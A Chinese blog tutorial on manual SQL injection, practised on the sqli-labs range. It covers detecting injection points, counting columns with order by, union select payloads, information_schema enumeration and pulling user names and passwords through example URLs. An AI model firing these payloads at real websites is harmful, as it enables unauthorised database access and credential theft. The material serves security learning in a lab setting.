相关靶场:sqlilabs
利用phpstudy搭建运行

SQl注入产生原理详细分析:可控变量,带入数据库查询,变量未存在过滤或过滤不严谨

and是数据库连接符,&是url参数连接符
url中&是连接不同参数的间隔符,and是数据库的与关系,对前面查询的语句进行追加限定作用的。

例:参数x存在参数,以下哪个注入测试正确(BC)
A.www.plumwhite.com/index.php?y=1 and 1=1 &x=2
B.www.plumwhite.com/index.php?y=1 &x=2 and 1=1
C.www.plumwhite.com/index.php?y=1 and 1=1 &x=2 and 1=1
D.www.plumwhite.com/index.php?xx=1 and 1=1 &xxx=2 and 1=1

如何判断注入点?
老办法: and 1=1 页面正常
and 1=2 页面错误
可能存在注入点
例:select * from users where id=1 and 1=1 limit 0,1 正常
select * from users where id=1 and 1=2 limit 0,1 错误
真 且 真 = 真
真 且 假 = 假
select * from users where id=1 真
1=1 真
select * from users where id=1 and 1=1 limit 0,1 真

select * from users where id=1 真
1=2 假
select * from users where id=1 and 1=2 limit 0,1 假

最舒服的办法:
在 select * from users where id=1 后面随便输入任意字符 出现错误则说明存在注入点
例:select * from users where id=1asdkakj
如果输入后页面显示404或跳转到首页面说明有软件检测,则大部分没有漏洞

步骤:
判断注入:
猜解列名数量(字段数)order by x 错误与正常的临界值
http://www.xxxx.com/?id=1 order by 4

报错猜解准备:
http://www.xxxx.com/?id=1 union select 1,2,3,4
http://www.xxxx.com/?id=1 and 1=2 union select 1,2,3,4 或者 http://www.xxxx.com/?id=-1 union select 1,2,3,4

信息收集:
数据库版本:version()
数据库名字:database()
数据库用户:user()
操作系统:@@version_complie_os

查询指定数据库名xxx下的表名信息:
http://www.xxxx.com/?id=-1 union select 1,group concat(table_name),3,4 from information_schema.tables where table_schema='xxx'

查询指定表名xx下的列名信息:
http://www.xxxx.com/?id=-1 union select 1,group concat(column_name),3,4 from information_schema.columns where table_name='xx'

查询指定数据:
http://www.xxx.com/?id=-1 union select 1,name,password,3,4 from xx

猜解多个数据可以采用limit x,1 变动猜解
limit 0,1 表示从表中的第0个数据开始,只读取1个

group concat():函数返回一个字符串结果,该结果由分组中的值连接组合而成

必要知识点:
在mysql5.0以上版本中,mysql存在一个自带数据库名为information_schema,他是一个存储记录所有数据库名,表名,列名,也相当于可以通过查询它获取指定数据库下面的表名或列名信息。

数据库中符号"."代表下一级,如plumwhite.user表示plumwhite数据库下的user表名

information_schema.tables:记录所有表名信息的表
information_schema.columns:记录所有列名信息的表
table_name:表名
column_name:列名
table_schema:数据库名

最后修改:2022 年 09 月 30 日
如果觉得我的文章对你有用,请随意赞赏